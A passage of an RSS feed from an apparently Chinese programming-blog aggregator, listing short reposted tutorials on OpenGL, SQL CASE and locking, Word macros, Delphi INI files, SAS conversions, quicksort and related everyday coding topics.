Settings，找到Empty project并勾上，选择Finish。然后向该工程添加一个代码文件，取名为“OpenGL.c”，注意用.c来作为文件结尾。（其实不必一定以.c结尾，.cpp也可）&#xA;搞定了，就跟平时的工程没什么两样的。&#xA;#include &amp;lt;gl\glut.h&amp;gt; void myDisplay(void) { glClear(GL_COLOR_BUFFER_BIT); glRectf(-0.5f, -0.5f, 0.5f, 0.5f); glFlush(); } int main(int argc, char *argv[]) { glutInit(&amp;amp;argc, argv); glutInitDisplayMode(GLUT_RGB | GLUT_SINGLE); glutInitWindowPosition(100, 100); glutInitWindowSize(400, 400); glutCreateWindow(&#34;第一个OpenGL程序&#34;); glutDisplayFunc(&amp;amp;myDisplay); glutMainLoop(); return 0; } 该程序的作用是在一个黑色的窗口中央画一个白色的矩形。下面对各行语句进行说明。</description>
    </item>
    <item>
      <title>妙招教你Office Word 2007文档另存为PDF文件[转]</title>
      <link>https://bchobby.github.io/posts/deb1b10d98b492b9167367095976d89a/</link>
      <pubDate>Fri, 05 Jul 2019 03:05:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/deb1b10d98b492b9167367095976d89a/</guid>
      <description>我们大家都知道Microsoft Office Word 2007的文档可以另存为只读的PDF格式文件，但必须预先安装加载插件项。&#xA;今天电脑软件技术博客就在这里详细讲解下Microsoft Office Word 2007 文档另存为PDF格式文件的详细步骤：&#xA;第一：首先，您肯定得安装上Microsoft Office Office 2007组件中的Word 2007，确定安装好。&#xA;第二：因为安装Microsoft Office Office 2007组件中的Word 2007的时候，默认的没有给你安装上“Microsoft Save as PDF 或XPS”插件选项，所以，你先到微软官方网站上去下载下就可以了。&#xA;Microsoft Office Word 2007 加载项是：“Microsoft Save as PDF 或 XPS”，其微软官方下载地址：&#xA;http://download.microsoft.com/download/6/2/5/6259b99f-1abf-4f27-b2a0-ad018b04f0a6/SaveAsPDFandXPS.exe Microsoft Office Word 2007 加载项：“Microsoft Save as PDF - 简体中文”，其微软官方下载地址：&#xA;http://download.microsoft.com/download/3/8/8/388812b2-0d3f-474e-a7ef-b095d3d0d3cd/SaveAsPDF.exe&#xA;Microsoft Office Word 2007 加载项： “Microsoft Save as XPS - 简体中文”，其微软官方下载地址：&#xA;http://download.microsoft.com/download/2/4/0/240dfc61-7bdd-43df-b89d-d84cc23c0853/SaveAsXPS.exe 第三：下载好后，你就安装加载SaveAsPDFandXPS.exe或者SaveAsPDF.exe或者SaveAsXPS.exe程序文件，按照屏幕上的说明完成安装。&#xA;第四：打开要发布或者另存的文档，从“Office”或“文件”菜单上选择“另存为 PDF 或XPS”。有关详细信息，请在“Office 帮助”中搜索“将文件保存为 PDF 格式”或“以 XPS 格式保存文件” 第五：删除加载的程序文件&#xA;在“开始”菜单上，指向“设置”，然后单击“控制面板”，双击“添加/删除程序”。&#xA;在“当前安装的程序”列表中，选择“Microsoft Office Word 2007 加载项 - Microsoft Save as PDF 或 XPS”，然后单击“删除”或“添加/删除”。如果出现对话框，请按照说明删除此程序，单击“是”或“确定”，以确认要删除该程序。</description>
    </item>
    <item>
      <title>SQL CASE语法</title>
      <link>https://bchobby.github.io/posts/01f3339d41cfb16fa6e061ce9af6f48e/</link>
      <pubDate>Fri, 05 Jul 2019 03:05:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01f3339d41cfb16fa6e061ce9af6f48e/</guid>
      <description>Case具有两种格式。简单Case函数和Case搜索函数。&#xA;-- 简单Case函数 CASE sex&#xA;WHEN &#39; 1 &#39; THEN &#39; 男 &#39; WHEN &#39; 2 &#39; THEN &#39; 女 &#39; ELSE &#39; 其他 &#39; END -- Case搜索函数 CASE WHEN sex = &#39; 1 &#39; THEN &#39; 男 &#39; WHEN sex = &#39; 2 &#39; THEN &#39; 女 &#39; ELSE &#39; 其他 &#39; END 这两种方式，可以实现相同的功能。简单Case函数的写法相对比较简洁，但是和Case搜索函数相比，功能方面会有些限制，比如写判断式。 还有一个需要注意的问题，Case函数只返回第一个符合条件的值，剩下的Case部分将会被自动忽略。 -- 比如说，下面这段SQL，你永远无法得到“第二类”这个结果 CASE WHEN col_1 IN ( &#39; a &#39; , &#39; b &#39; ) THEN &#39; 第一类 &#39; WHEN col_1 IN ( &#39; a &#39; ) THEN &#39; 第二类 &#39; ELSE &#39; 其他 &#39; END 转载于:https://www.</description>
    </item>
    <item>
      <title>批量调整word 图片大小</title>
      <link>https://bchobby.github.io/posts/e4d93b3309a037453c2b440a4cf99c9a/</link>
      <pubDate>Fri, 05 Jul 2019 03:02:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4d93b3309a037453c2b440a4cf99c9a/</guid>
      <description>打开文档后，按Alt+F11,在左边Porject下找到ThisDocument，右键插入模块，贴上下面的&#xA;Sub Macro()&#xA;For Each iShape In ActiveDocument.InlineShapes&#xA;iShape.Height = iShape.Height * 0.25&#xA;iShape.Width = iShape.Width * 0.25&#xA;Next iShape&#xA;End Sub&#xA;按F5运行一次就可以了。 转载于:https://www.cnblogs.com/qiangshu/p/4532683.html</description>
    </item>
    <item>
      <title>给出两点经纬度算距离</title>
      <link>https://bchobby.github.io/posts/f2cbc37cbc2658b0c6c18b9c10945311/</link>
      <pubDate>Fri, 05 Jul 2019 03:02:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2cbc37cbc2658b0c6c18b9c10945311/</guid>
      <description>1 &amp;lt;span style=&#34;font-size:14px;font-weight: normal;&#34;&amp;gt; 2 private static final double EARTH_RADIUS = 6378137;//赤道半径(单位m) 3 4 /** 5 * 转化为弧度(rad) 6 * */ 7 private static double rad(double d) 8 { 9 return d * Math.PI / 180.0; 10 } 11 12 /** 13 * 基于余弦定理求两经纬度距离 14 * @param lon1 第一点的精度 15 * @param lat1 第一点的纬度 16 * @param lon2 第二点的精度 17 * @param lat3 第二点的纬度 18 * @return 返回的距离，单位km 19 * */ 20 public static double LantitudeLongitudeDist(double lon1, double lat1,double lon2, double lat2) { 21 double radLat1 = rad(lat1); 22 double radLat2 = rad(lat2); 23 24 double radLon1 = rad(lon1); 25 double radLon2 = rad(lon2); 26 27 if (radLat1 &amp;lt; 0) 28 radLat1 = Math.</description>
    </item>
    <item>
      <title>sas中字符与数字型的数据类型转换</title>
      <link>https://bchobby.github.io/posts/b397c32c229e39ab97acaa54b9c75c7e/</link>
      <pubDate>Fri, 05 Jul 2019 03:01:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b397c32c229e39ab97acaa54b9c75c7e/</guid>
      <description>数值转换为字符： data; x=2557898; y=put(x, $8.); put y; run; 字符转换为数值： data; x=2557898; y=put(x, 8.); 或y=x-0; put y; run; 转载于:https://www.cnblogs.com/qiangshu/archive/2012/07/03/2574058.html</description>
    </item>
    <item>
      <title>学习正则表达式</title>
      <link>https://bchobby.github.io/posts/579046aa239405270f987d452cce0c94/</link>
      <pubDate>Fri, 05 Jul 2019 02:00:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/579046aa239405270f987d452cce0c94/</guid>
      <description>3个重要的正则式命令: B 在正则表达式中有3种类型的括号&#xA;方括号 “[“和花括号“{“ 。&#xA;方括号&#34;[&#34;内是需要匹配的字符，花括号&#34;{&#34;内是指定匹配字符的数量。&#xA;圆括号“(“ 则是用来分组的。&#xA;C插入符号 “^” 表示正则式的开始。D美元符号“$” 表示正则式的结束。 转载于:https://www.cnblogs.com/tutuyforever/p/3454302.html</description>
    </item>
    <item>
      <title>VC释放资源到文件</title>
      <link>https://bchobby.github.io/posts/dc55c367605aa95ddfcd90c9fda19ded/</link>
      <pubDate>Fri, 05 Jul 2019 01:51:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc55c367605aa95ddfcd90c9fda19ded/</guid>
      <description>释放资源到文件&#xA;有时候程序运行时需要调用某些DLL或者其他程序，而为了发布时方便将这些DLL或者EXE添加到了资源中一起编译。运行时再把这些资源释放到文件中即可。那如何释放资源到文件中呢?用下面这个函数：&#xA;BOOL CXXXDlg::ReleaseResFile(CString strFileName, UINT wResID, CString strFileType) { // 资源大小 DWORD dwWrite=0; // 创建文件 HANDLE hFile = CreateFile(strFileName, GENERIC_WRITE,FILE_SHARE_WRITE,NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); if ( hFile == INVALID_HANDLE_VALUE ) { return false; } // 查找资源文件中、加载资源到内存、得到资源大小 HRSRC hrsc = FindResource(NULL, MAKEINTRESOURCE(wResID), strFileType); HGLOBAL hG = LoadResource(NULL, hrsc); DWORD dwSize = SizeofResource( NULL, hrsc); // 写入文件 WriteFile(hFile,hG,dwSize,&amp;amp;dwWrite,NULL); CloseHandle( hFile ); return true; } 转载于:https://www.cnblogs.com/rogee/archive/2010/12/17/1909204.html</description>
    </item>
    <item>
      <title>DELPHI操作INI文件详细讲解</title>
      <link>https://bchobby.github.io/posts/b88c383a31c54d9aabc0cde330f16c43/</link>
      <pubDate>Fri, 05 Jul 2019 01:48:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b88c383a31c54d9aabc0cde330f16c43/</guid>
      <description>NI文件在系统配置及应用程序参数保存与设置方面，具有很重要的作用，所以可视化的编程一族，如VB、VC、VFP、Delphi等都提供了读写INI文件的方法，其中Delphi中操作INI文件，最为简洁，这是因为Delphi提供了一个TInifile类，使我们可以非常灵活的处理INI文件。&#xA;一、有必要了解INI文件的结构： ;注释 [小节名] 关键字=值 ... INI文件允许有多个小节，每个小节又允许有多个关键字，“=”后面是该关键字的值。 值的类型有三种：字符串、整型数值和布尔值。其中字符串存贮在INI文件中时没有引号，布尔真值用1表示，布尔假值用0表示。 注释以分号“;”开头。 二、定义 1、在Interface的Uses节增加IniFiles； 2、在Var变量定义部分增加一行： myinifile:Tinifile; 然后，就可以对变量myinifile进行创建、打开、读取、写入等操作了。 三、打开INI文件 myinifile:=Tinifile.create(&#39;program.ini&#39;); 上面这一行语句将会为变量myinifile与具体的文件program.ini建立联系，然后，就可以通过变量myinifile，来读写program.ini文件中的关键字的值了。 值得注意的是，如果括号中的文件名没有指明路径的话，那么这个Program.ini文件会存储在Windows目录中,把Program.ini文件存储在应用程序当前目录中的方法是：为其指定完整的路径及文件名。下面的两条语句可以完成这个功能： Filename:=ExtractFilePath(Paramstr(0))+&#39;program.ini&#39;; myinifile:=Tinifile.Create(filename); 四、读取关键字的值 针对INI文件支持的字符串、整型数值、布尔值三种数据类型，TINIfiles类提供了三种不同的对象方法来读取INI文件中关键字的值。假设已定义变量vs、vi、vb分别为string、integer、boolean类型。 vs:=myinifile.Readstring(&#39;小节名&#39;,&#39;关键字&#39;,缺省值); vi:=myinifile.Readinteger(&#39;小节名&#39;,&#39;关键字&#39;,缺省值); vb:=myinifile.Readbool(&#39;小节名&#39;,&#39;关键字&#39;,缺省值); 其中缺省值为该INI文件不存在该关键字时返回的缺省值。 五、写入INI文件 同样的，TInifile类也提供了三种不同的对象方法，向INI文件写入字符串、整型数及布尔类型的关键字。 myinifile.writestring(&#39;小节名&#39;,&#39;关键字&#39;,变量或字符串值); myinifile.writeinteger(&#39;小节名&#39;,&#39;关键字&#39;,变量或整型数值); myinifile.writebool(&#39;小节名&#39;,&#39;关键字&#39;,变量或True或False); 当这个INI文件不存在时，上面的语句还会自动创建该INI文件。 六、删除关键字 除了可用写入方法增加一个关键字，Tinifile类还提供了一个删除关键字的对象方法： myinifile.DeleteKey(&#39;小节名&#39;,&#39;关键字&#39;); 七、小节操作 增加一个小节可用写入的方法来完成，删除一个小节可用下面的对象方法： myinifile.EraseSection(&#39;小节名&#39;); 另外Tinifile类还提供了三种对象方法来对小节进行操作： myinifile.readsection(&#39;小节名&#39;,TStrings变量); 可将指定小节中的所有关键字名读取至一个字符串列表变量中； myinifile.readsections(TStrings变量);可 将INI文件中所有小节名读取至一个字符串列表变量中去。 myinifile.readsectionvalues(&#39;小节名&#39;,TStrings变量); 可将INI文件中指定小节的所有行（包括关键字、=、值）读取至一个字符串列表变量中去。 八、释放 在适当的位置用下面的语句释放myinifile： myinifile.distory; 转载于:https://www.cnblogs.com/rogee/archive/2010/09/14/1827242.html</description>
    </item>
    <item>
      <title>String.ToCharArray()方法中的内存优化技巧</title>
      <link>https://bchobby.github.io/posts/8b0950a8d73277098fbd39f15a83bcfd/</link>
      <pubDate>Fri, 05 Jul 2019 01:03:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b0950a8d73277098fbd39f15a83bcfd/</guid>
      <description>（（原文发表于CSDN我的Blog： http://blog.csdn.net/happyhippy/archive/2006/10/29/1356088.aspx） 先看下Reflector.exe反汇编.net framework 2.0中Mscorlid.dll，得到String.ToCharArray ()源码： // .net framework 2.0 public unsafe char [] ToCharArray()&#xA;... {&#xA;int num1 = this.Length;&#xA;char[] chArray1 = new char[num1];&#xA;if (num1 &amp;gt; 0)&#xA;...{&#xA;fixed (char* chRef1 = &amp;amp;this.m_firstChar)&#xA;...{&#xA;//使用fixed，防止gc执行垃圾回收后移动堆上的对象而造成无效指针&#xA;fixed (char* chRef2 = chArray1)&#xA;...{&#xA;string.wstrcpyPtrAligned(chRef2, chRef1, num1);&#xA;chRef1 = null;&#xA;}&#xA;}&#xA;}&#xA;return chArray1;&#xA;} private static unsafe void wstrcpyPtrAligned( char * dmem, char * smem, int charCount)</description>
    </item>
    <item>
      <title>Sql Server 锁 排它锁 更新锁 共享锁</title>
      <link>https://bchobby.github.io/posts/b8c48cef7bdb82b8498c0b45b53f0d04/</link>
      <pubDate>Fri, 05 Jul 2019 00:23:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8c48cef7bdb82b8498c0b45b53f0d04/</guid>
      <description>引用别人的。有时间整体整理下。&#xA;引用地址：http://www.cnblogs.com/wenjl520/archive/2012/08/24/2654412.html&#xA;锁的概述&#xA;一. 为什么要引入锁&#xA;多个用户同时对数据库的并发操作时会带来以下数据不一致的问题:&#xA;丢失更新&#xA;A,B两个用户读同一数据并进行修改,其中一个用户的修改结果破坏了另一个修改的结果,比如订票系统&#xA;脏读&#xA;A用户修改了数据,随后B用户又读出该数据,但A用户因为某些原因取消了对数据的修改,数据恢复原值,此时B得到的数据就与数据库内的数据产生了不一致&#xA;不可重复读&#xA;A用户读取数据,随后B用户读出该数据并修改,此时A用户再读取数据时发现前后两次的值不一致&#xA;并发控制的主要方法是封锁,锁就是在一段时间内禁止用户做某些操作以避免产生数据不一致&#xA;二 锁的分类&#xA;锁的类别有两种分法：&#xA;1. 从数据库系统的角度来看：分为独占锁（即排它锁），共享锁和更新锁&#xA;MS-SQL Server 使用以下资源锁模式。&#xA;锁模式 描述&#xA;共享 (S) 用于不更改或不更新数据的操作（只读操作），如 SELECT 语句。&#xA;更新 (U) 用于可更新的资源中。防止当多个会话在读取、锁定以及随后可能进行的资源更新时发生常见形式的死锁。&#xA;排它 (X) 用于数据修改操作，例如 INSERT、UPDATE 或 DELETE。确保不会同时同一资源进行多重更新。&#xA;意向锁 用于建立锁的层次结构。意向锁的类型为：意向共享 (IS)、意向排它 (IX) 以及与意向排它共享 (SIX)。&#xA;架构锁 在执行依赖于表架构的操作时使用。架构锁的类型为：架构修改 (Sch-M) 和架构稳定性 (Sch-S)。&#xA;大容量更新 (BU) 向表中大容量复制数据并指定了 TABLOCK 提示时使用。&#xA;共享锁&#xA;共享 (S) 锁允许并发事务读取 (SELECT) 一个资源。资源上存在共享 (S) 锁时，任何其它事务都不能修改数据。一旦已经读取数据，便立即释放资源上的共享 (S) 锁，除非将事务隔离级别设置为可重复读或更高级别，或者在事务生存周期内用锁定提示保留共享 (S) 锁。&#xA;更新锁&#xA;更新 (U) 锁可以防止通常形式的死锁。一般更新模式由一个事务组成，此事务读取记录，获取资源（页或行）的共享 (S) 锁，然后修改行，此操作要求锁转换为排它 (X) 锁。如果两个事务获得了资源上的共享模式锁，然后试图同时更新数据，则一个事务尝试将锁转换为排它 (X) 锁。共享模式到排它锁的转换必须等待一段时间，因为一个事务的排它锁与其它事务的共享模式锁不兼容；发生锁等待。第二个事务试图获取排它 (X) 锁以进行更新。由于两个事务都要转换为排它 (X) 锁，并且每个事务都等待另一个事务释放共享模式锁，因此发生死锁。</description>
    </item>
    <item>
      <title>[转]Android 实现ListView的A-Z字母排序和过滤搜索功能，实现汉字转成拼音</title>
      <link>https://bchobby.github.io/posts/0b8e3db0385d08418685336bbde45aec/</link>
      <pubDate>Thu, 04 Jul 2019 22:49:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b8e3db0385d08418685336bbde45aec/</guid>
      <description>http://blog.csdn.net/xiaanming/article/details/12684155&#xA;转载于:https://www.cnblogs.com/zwliuxing/p/3877616.html</description>
    </item>
    <item>
      <title>最近比较忙    大学生电子设计大赛</title>
      <link>https://bchobby.github.io/posts/8f06f12688af2fa9593bd1b084f8a387/</link>
      <pubDate>Thu, 04 Jul 2019 18:38:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f06f12688af2fa9593bd1b084f8a387/</guid>
      <description>忙不忙可能就是相对于个人承受能力来说的吧，最近一直在为大学生电子设计大赛个初赛努力着。&#xA;一直以来，还没做过那么复杂的电路，刚开始做，课程还排得满满的，还真有点招架不住的感觉呢。还好是团队合作，大家互通有无，三个臭皮匠，总算抵得一个诸葛亮了。&#xA;下面谈谈我们遇到的麻烦吧，以便像我这样的新手可以借鉴。&#xA;选择题目的时候，由于时间问题，选得很仓促，导致后面的设计环节关卡重重，主要是无线发射模块和单片机。由于才上了一年多的大学，涉掠不多，单片机的相关知识知道的很少。大家磨了几天从图书馆借来的书，终于才把要用到的东西弄清楚了。知识海洋的浩瀚已经不言而喻了，所以呀，学无止境啊~在空闲的时候，一定一定要多去学一学相关的知识。&#xA;制作的时候，我们因为没有相关的机器来制作电路板，于是我们决定，采取笨办法——用万用板做，这也是造成往后困难的起因（也许越是复杂的电路，使用覆铜板制作电路板就越有好处吧）。万用板的焊盘太过于接近，焊接时很容易短接；还有就是要制作适合的导线，非常的麻烦，而且很浪费时间；在制作开始后，我们慢慢的才发现，不同的电路用不同颜色的导线来连接，既容易分辨电路，又美观，于是中途时采取了这个方案。&#xA;到现在为止，我们的作品还没有完成。后天和大后天就是交作品的时候了，我们会继续努力的。即使我们不能通过初赛，我们也要继续完成它，自己制作一块电路板，争取把它做得令自己满意，就当是一次学习好了，这样，明年我们就会做得更好的。&#xA;希望我的经历能对一些人有所帮助，这将是我的最大的收获了。&#xA;转载于:https://www.cnblogs.com/alicetang/archive/2011/03/25/newcomer.html</description>
    </item>
    <item>
      <title>使用Enterprise Library</title>
      <link>https://bchobby.github.io/posts/a74e4e8ea19519561510f67a633beec8/</link>
      <pubDate>Thu, 04 Jul 2019 18:24:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a74e4e8ea19519561510f67a633beec8/</guid>
      <description>我想你们已经有了Enterprise Library.是个很有用的代码集合，可以节省很多时间。&#xA;转载于:https://www.cnblogs.com/yangbin990/archive/2005/07/11/190442.html</description>
    </item>
    <item>
      <title>idx-ubyte文件解析</title>
      <link>https://bchobby.github.io/posts/bd066bfd1662d318e3ca779979285634/</link>
      <pubDate>Thu, 04 Jul 2019 18:03:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd066bfd1662d318e3ca779979285634/</guid>
      <description>2017-11-19 02:19&#xA;Mnist手写数字数据库是著名的神经网络入门级训练集，它图像文件的后缀名一般为idx3-ubyte,图像标签文件后缀名为idx1-ubyte。它分为两种图像集，一个训练集，一个测试集。它内置的图像大小为28*28，可以在这里下载：http://yann.lecun.com/exdb/mnist/&#xA;一共四个文件，训练集和它的标签集，测试集和它的标签集，解析规则在页面中有说明。&#xA;这里通过python的struct库进行解析：&#xA;#需要导入的库，struct是一个很常用的二进制解析库 import numpy as np import struct def decode_idx3_ubyte(idx3_ubyte_file):#此函数用来解析idx3文件，idx3_ubyte_filec指定图像文件路径 #读取二进制数据 bin_data=open(idx3_ubyte_file,&#39;rb&#39;).read() #解析文件头信息，依次为魔数、图片数量、每张图片高、每张图片宽 offest=0 fmt_header=&#39;&amp;gt;iiii&#39; magic_number,num_images,num_rows,num_cols=struct.unpack_from(fmt_header,bin_data,offest) print(&#39;魔数：%d,图片数量：%d，图片大小：%d%d&#39; % (magic_number,num_images,num_rows,num_cols)) #解析数据集 image_size=num_rows*num_cols offest += struct.calcsize(fmt_header) fmt_image=&#39;&amp;gt;&#39;+str(image_size)+&#39;B&#39; images=np.empty((num_images,num_rows,num_cols)) for i in range(num_images): if (i+1)%10000==0: print(&#39;已解析%d&#39;%(i+1)+&#39;张&#39;) images[i]=np.array(struct.unpack_from(fmt_image,bin_data,offest)).reshape((num_rows,num_cols)) offest+=struct.calcsize(fmt_image) return images &#39;&#39;&#39;images是一个三维数组,images[i][a][b]表示第i张图片的倒数第a行，b列的像素&#39;&#39;&#39; def decode_idx1_ubyte(idx1_ubyte_file):#解析idx1文件函数，idx1_ubyte_file指定标签文件路径 #读取二进制数据 bin_data=open(idx1_ubyte_file,&#39;rb&#39;).read() #解析文件头信息，依次为魔数和标签数 offest=0 fmt_header=&#39;&amp;gt;ii&#39; magic_number,num_images=struct.unpack_from(fmt_header,bin_data,offest) print(&#39;魔数：%d，图片数量：%d张&#39; % (magic_number,num_images)) #解析数据集 offest+=struct.calcsize(fmt_header) fmt_image=&#39;&amp;gt;B&#39; labels=np.empty(num_images) for i in range(num_images): if (i+1)%10000==0: print(&#39;已解析：%d&#39;%(i+1)+&#39;张&#39;) labels[i]=struct.unpack_from(fmt_image,bin_data,offest)[0] offest+=struct.calcsize(fmt_image) print(labels[0]) return labels &#39;&#39;&#39;labels是一个一维数组，每个元素都一一对应images[i]&#39;&#39;&#39; 运行结果如下：</description>
    </item>
    <item>
      <title>利用sobel算子进行边缘检测</title>
      <link>https://bchobby.github.io/posts/8406171050f5912f731e2cac2036d07e/</link>
      <pubDate>Thu, 04 Jul 2019 17:58:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8406171050f5912f731e2cac2036d07e/</guid>
      <description>2017-11-18 00:31&#xA;前言：本文章中的一部分代码写得比较仓促，虽然比原来写的结构性更强，但仍有缺陷，下一篇中的代码经过了稍微修改。&#xA;Sobel算子是整像素图像边缘检测中最重要的算子之一,该算子包含两组3x3的矩阵，分别为横向及纵向，将之与图像&#xA;作平面卷积，即可分别得出横向及纵向的亮度差分近似值。如果以A代表原始图像，Gx及Gy分别代表经横向及纵向边缘&#xA;检测的图像，其公式如下:&#xA;图像的每一个像素的横向及纵向梯度近似值可用以下的公式结合，来计算梯度的大小。&#xA;可用以下公式计算梯度方向。&#xA;用sobel算子进行卷积的方法：&#xA;将图像转化成矩阵后，首先设计卷积核，多数情况下是3*3的矩阵，这里把sobel算子作为卷积核，如下，依次在图&#xA;像矩阵中移动卷积核。&#xA;把被卷积核覆盖的区域中的对应元素相乘，然后9个值相加作为一个像素的值，赋给输出的矩阵。&#xA;但这样做会导致图片变小，因此有一种做法就是在图片矩阵四周加上0，再运算。&#xA;例：&#xA;这里有一张小狗的图片，大小为1024px * 991px，原图是以jpeg格式储存的，我们需要读取每一个像素的RGB值，由于我还&#xA;没搞清jpeg的压缩方式，这里先使用windows的画图软件将它转化为24位的bmp位图。下面的代码使用的是python语言。&#xA;这里以对这张图片进行边缘检测为例：&#xA;1.首先，第一步读取图片信息：代码如下&#xA;上面代码可以读出图片的大小，同时为输出图像写入了24位bmp位图前面共54字节的文件头。&#xA;执行以上代码后，width=1024，height=991&#xA;2.把图片的每个像素作为一个元素储存在1024*991的矩阵中，便于计算&#xA;运算结果：&#xA;3.在2.中我们获得了图像的矩阵，然后给周围加上0.&#xA;输出结果：&#xA;4.通常边缘检测前会使用高斯滤波对图片进行处理，高斯滤波的作用就是消除图片中的噪点，是图片更平滑。下面是公式，其中是sigma需要自己设置值。&#xA;用这些代码可以将图片进行平滑处理，sigma用来设置平滑的程度。&#xA;Sigma=1时：（左为原图，右为经过平滑处理后的图片，没有考虑颜色，导致图片成了黑白的，后者看着会比前者模糊，这是高斯滤波后的正常现象）&#xA;5.进行高斯滤波处理后就可以使用sobel算子了，使用原理与4.一样 左为经过高斯滤波后的图像，右为将该图像边缘检测后的图像，可以明显的看出小狗的轮廓，这就是边缘检测。&#xA;后记：为了编写这些代码，3天的不眠不休，最终成功了。</description>
    </item>
    <item>
      <title>table font size LaTex</title>
      <link>https://bchobby.github.io/posts/a9a175f2153e8cc3085ee354fc33ecfa/</link>
      <pubDate>Thu, 04 Jul 2019 17:10:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9a175f2153e8cc3085ee354fc33ecfa/</guid>
      <description>Latex 设置字体大小命令由小到大依次为：&#xA;\tiny&#xA;\scriptsize&#xA;\footnotesize&#xA;\small&#xA;\normalsize&#xA;\large&#xA;\Large&#xA;\LARGE&#xA;\huge&#xA;\Huge&#xA;转载于:https://www.cnblogs.com/gaoqichao/p/3404934.html</description>
    </item>
    <item>
      <title>算法6-排序-快速排序</title>
      <link>https://bchobby.github.io/posts/8daf286f6e11c8b8bcbc34d7f41ca695/</link>
      <pubDate>Thu, 04 Jul 2019 13:39:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8daf286f6e11c8b8bcbc34d7f41ca695/</guid>
      <description>(1) 基本思想：选择一个基准元素,通常选择第一个元素或者最后一个元素,通过一趟扫描，将待排序列分成两部分,一部分比基准元素小,一部分大于等于基准元素,此时基准元素在其排好序后的正确位置,然后再用同样的方法递归地排序划分的两部分。&#xA;（2）实例：&#xA;(3) java实现&#xA;public class quickSort { inta[]={49,38,65,97,76,13,27,49,78,34,12,64,5,4,62,99,98,54,56,17,18,23,34,15,35,25,53,51}; public quickSort(){ quick(a); for(int i=0;i&amp;lt;a.length;i++) System.out.println(a[i]); } public int getMiddle(int[] list, int low, int high) { int tmp = list[low]; //数组的第一个作为中轴 while (low &amp;lt; high) { while (low &amp;lt; high &amp;amp;&amp;amp; list[high] &amp;gt;= tmp) { high--; } list[low] = list[high]; //比中轴小的记录移到低端 while (low &amp;lt; high &amp;amp;&amp;amp; list[low] &amp;lt;= tmp) { low++; } list[high] = list[low]; //比中轴大的记录移到高端 } list[low] = tmp; //中轴记录到尾 return low; //返回中轴的位置 } public void _quickSort(int[] list, int low, int high) { if (low &amp;lt; high) { int middle = getMiddle(list, low, high); //将list数组进行一分为二 _quickSort(list, low, middle - 1); //对低字表进行递归排序 _quickSort(list, middle + 1, high); //对高字表进行递归排序 } } public void quick(int[] a2) { if (a2.</description>
    </item>
    <item>
      <title>char、varchar、nvarchar的区别</title>
      <link>https://bchobby.github.io/posts/d79896bfcabc8cf1416df41c5aeb13a1/</link>
      <pubDate>Thu, 04 Jul 2019 12:30:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d79896bfcabc8cf1416df41c5aeb13a1/</guid>
      <description>一般如果用到中文或者其它特殊字符，我就会使用n开头的类型，否则的话直接使用var开头的。 sql server中的varchar和Nvarchar有什么区别？&#xA;varchar(n)&#xA;长度为 n 个字节的可变长度且非 Unicode 的字符数据。n 必须是一个介于 1 和 8,000 之间的数值。存储大小为输入数据的字节的实际长度，而不是 n 个字节。&#xA;nvarchar(n)&#xA;包含 n 个字符的可变长度 Unicode 字符数据。n 的值必须介于 1 与 4,000 之间。字节的存储大小是所输入字符个数的两倍。&#xA;char 100 8个字节，92个空格&#xA;varchar 100 8个字节，无空格，最长为1-8000&#xA;nvarchar 100 10个字节，无空格，每个汉字为一个字符（适合中文,韩文），但如果是英文的话也是占两个位置，双字节来存储数，最长1-4000，可变长度 Unicode 数据，如果存储数据如果存在单字节时，它也是以双字节来占用存储空间的。 varchar 对每个英文(ASCII)字符都占用2个字节，对一个汉字也只占用两个字节&#xA;char 对英文(ASCII)字符占用1个字节，对一个汉字占用2个字节 Varchar 的类型不以空格填满，比如varchar(100)，但它的值只是&#34;qian&#34;,则它的值就是&#34;qian&#34;&#xA;而char 不一样，比如char(100),它的值是&#34;qian&#34;，而实际上它在数据库中是&#34;qian &#34;(qian后共有96个空格，就是把它填满为100个字节)。&#xA;由于char是以固定长度的，所以它的速度会比varchar快得多!但程序处理起来要麻烦一点，要用trim之类的函数把两边的空格去掉! varchar(4) 可以输入4个字线，也可以输入两个汉字 nvarchar(4) 可以输四个汉字，也可以输4个字母，但最多四个 数据库定义到char类型的字段时 char、nchar、varchar、nvarchar、text、ntext中哪一种呢。　数据库定义到char类型的字段时，不知道大家是否会犹豫一下，到底选char、nchar、varchar、nvarchar、text、ntext中哪一种呢？结果很可能是两种，一种是节俭人士的选择：最好是用定长的，感觉比变长能省些空间，而且处理起来会快些，无法定长只好选用定长，并且将长度设置尽可能地小；另一种是则是觉得无所谓，尽量用可变类型的，长度尽量放大些。&#xA;鉴于现在硬件像萝卜一样便宜的大好形势，纠缠这样的小问题实在是没多大意义，不过如果不弄清它，总觉得对不起劳累过度的CPU和硬盘。&#xA;总结陈词： 1、如果数据量非常大，又能100%确定长度且保存只是ansi字符，那么char 2、能确定长度又不一定是ansi字符或者，那么用nchar； 3、不确定长度，要查询且希望利用索引的话，用nvarchar类型吧，将它们设到400； 4、不查询的话没什么好说的，用nvarchar(4000) 5、性格豪爽的可以只用3和4，偶尔用用1，毕竟这是一种额外说明，等于告诉别人说，我一定需要长度为X位的数据 转载于:https://www.cnblogs.com/Eleanore/archive/2012/05/25/2518182.html</description>
    </item>
    <item>
      <title>SQL Server多表查询优化方案总结</title>
      <link>https://bchobby.github.io/posts/2d40a2821f24bcafa41fd0a16228af23/</link>
      <pubDate>Thu, 04 Jul 2019 12:29:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d40a2821f24bcafa41fd0a16228af23/</guid>
